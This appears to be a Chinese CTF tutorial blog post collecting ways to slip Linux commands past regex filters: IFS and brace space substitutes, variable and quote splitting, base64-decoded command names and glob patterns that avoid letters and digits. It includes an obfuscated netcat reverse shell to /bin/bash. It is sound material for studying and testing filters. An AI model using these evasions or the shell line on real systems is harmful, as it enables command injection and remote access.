zoukankan      html  css  js  c++  java
  • linux命令绕过

    前言:

    做ctf时常常会遇到一些正则匹配将一些linux命令给过滤掉,这里将总结一些针对性的绕过方式。

    一、空格绕过:

      {cat,flag.txt}
      cat${IFS}flag.txt
      cat$IFS$9flag.txt
      cat<flag.txt
      cat<>flag.txt
    
      kg=$'x20flag.txt'&&cat$kg
      (x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

    二、敏感字符绕过:

    假设过滤了cat

    1.利用变量绕过:

    ac;b=at;$a$b

    2.利用base编码绕过

    `echo 'Y2F0Cg==' | base64 -d` test.txt

    3.连接符截断绕过:

     c'a't test.txt
     cat test.txt
     ca$@t test.txt

    三、通配符绕过

    ?在linux里面可以进行代替一个任意字符:

    /???/[l-n]s     可替代ls
    /???/c?t test.txt  可替代cat test.txt

    *在linux里面可以代替任意个任意字符:

    ls *.php 列出当前目录下所有php文件

    无字母数字匹配:

    如果我们遇到一个正则将字母数字$这些都过滤掉,要我们执行一个脚本的话.
    假如脚本名称为chakdiD且在根目录/etc下,我们可以用:

    . /???/???????[@-[]
    [@-[]表示取从@到[之间的字符,这之间的字符都为大写字母。这样就实现了无字母数字匹配的命令,就可以绕过正则了。

    给一个匹配表:

    字符 解释

    *

    匹配任意长度任意字符

    ?

    匹配任意单个字符

    [list]

    匹配指定范围内(list)任意单个字符,也可以是单个字符组成的集合

    [^list]

    匹配指定范围外的任意单个字符或字符集合

    [!list]

    同[^list]

    {str1,str2,…}

    匹配 srt1 或者 srt2 或者更多字符串,也可以是集合

    几个例子:

     /???/[:lower:]s
     /?s?/???/[n]c 2130706433 8888 -e /???/b??h
      ls {/ru,/tmp}n

    字符匹配表参考:https://www.secpulse.com/archives/96374.html

    参考大佬的通配符利用:https://www.freebuf.com/articles/web/186298.html

  • 相关阅读:
    离开学校一年多
    ZOJ Problem Set–1337 Pi
    Old Bill
    ZOJ Problem Set–1382 A Simple Task
    ZOJ Problem Set 2975 Kinds of Fuwas
    ZOJ Problem Set 2952 Find All M^N Please
    Generate Passwords
    Java 数据类型转换之字符串
    ZOJ Problem Set 2987 Misspelling
    Digital Roots
  • 原文地址:https://www.cnblogs.com/-chenxs/p/11978488.html
Copyright © 2011-2022 走看看